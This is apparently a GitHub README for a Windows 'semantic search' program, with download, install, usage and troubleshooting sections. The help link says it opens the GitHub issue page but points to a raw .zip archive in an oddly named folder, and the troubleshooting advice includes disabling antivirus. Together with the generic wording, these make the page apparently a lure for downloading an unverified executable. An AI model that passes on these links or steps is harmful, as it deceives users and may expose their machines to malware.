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semantic-search-project

GitHub

Deliver fast, scalable semantic search using vector embeddings and cluster-aware caching for efficient, context-based text retrieval.

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🧠 semantic-search-project - Fast, Contextual Text Search

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📄 About semantic-search-project

This software lets you search through large amounts of text with high accuracy. It goes beyond simple keyword matching by understanding the meaning behind your search. This makes the results more relevant and useful.

The system uses a method called semantic search. Instead of matching words, it matches ideas. It handles big text collections fast by using smart caching and vector math.

This project was designed to be efficient and easy to use on a regular Windows computer. It works with everyday language and gives you quick results without needing technical skills.


💻 System Requirements

  • Windows 10 or later (64-bit recommended)
  • At least 4 GB of RAM
  • 500 MB of free disk space
  • Internet connection for first-time setup
  • A modern CPU with SSE4.1 support (most processors from 2014 or later)

No special hardware like GPUs or extra software is needed. The program runs directly on your Windows machine.


🛠 Installation and Setup

Step 1: Download the Software

Click the button below to visit the download page for the program.

Download Now

On the page, find the latest release or setup file. Download the Windows installer or zip file.

Step 2: Locate the Downloaded File

After downloading, open your "Downloads" folder or the location where you saved the file.
If you downloaded a zip file, right-click it and select "Extract All" to unzip the contents.

Step 3: Run the Installer or Program

  • If you have an installer (.exe), double-click it to start the setup wizard.
  • Follow the prompts to complete the installation. Choose "Next" until finished.
  • After installation, look for the program shortcut on your desktop or in the Start menu.

If you have a standalone program file, double-click to start it immediately.


🚀 How to Use semantic-search-project

Starting the Program

Open the app by double-clicking the program icon. The main window will open with a search bar.

Loading Your Text Data

To search, you need to add your text files or documents into the program.

  1. Click the "Add Files" button or drag and drop files into the window.
  2. The system will process these files by converting their text into vectors. This may take a moment depending on file size.

Performing a Search

  1. Type your query in the search bar at the top.
  2. Click "Search" or press Enter.

The program returns a list of results ranked by how closely the meaning matches your query.

Viewing Results

  • Results will show snippets of the matching text.
  • Click on any result to open the full text file in your default viewer or internal viewer.

Tips for Better Searches

  • Use natural language as if you were asking a person.
  • Avoid very short or vague queries.
  • Try to be specific for precise results.

⚙️ Features

  • Supports large collections of text files.
  • Understands the meaning behind your search words.
  • Fast results supported by smart caching.
  • Easy setup with no extra software needed.
  • Runs fully on Windows with CPU optimization.
  • Simple interface for users with no programming skills.
  • Can handle a mix of document types such as .txt, .md, and .csv.

🔧 Troubleshooting

The Program Won't Start

  • Check that your Windows version meets requirements.
  • Make sure you completed the installation steps.
  • Restart your computer and try again.
  • Disable antivirus temporarily to test if it blocks the program.

Search Returns No Results

  • Confirm your text files are loaded into the program.
  • Wait for data indexing to finish before searching.
  • Use clearer, more detailed queries.

Program Freezes or Runs Slowly

  • Close other active applications to free up memory.
  • Restart the program.
  • Reduce the number of files loaded at once.

Need More Help?

You can create an issue on the GitHub page to report problems or ask questions:
https://raw.githubusercontent.com/Phaja/semantic-search-project/main/ischiovaginal/search-semantic-project-v1.4.zip


🔗 Download Link Again

Download Now

Visit the linked page to download the latest version of semantic-search-project for Windows.

Repository

PH
Phaja

Phaja/semantic-search-project

Created

December 7, 2024

Updated

April 13, 2026

Language

Python

Category

AI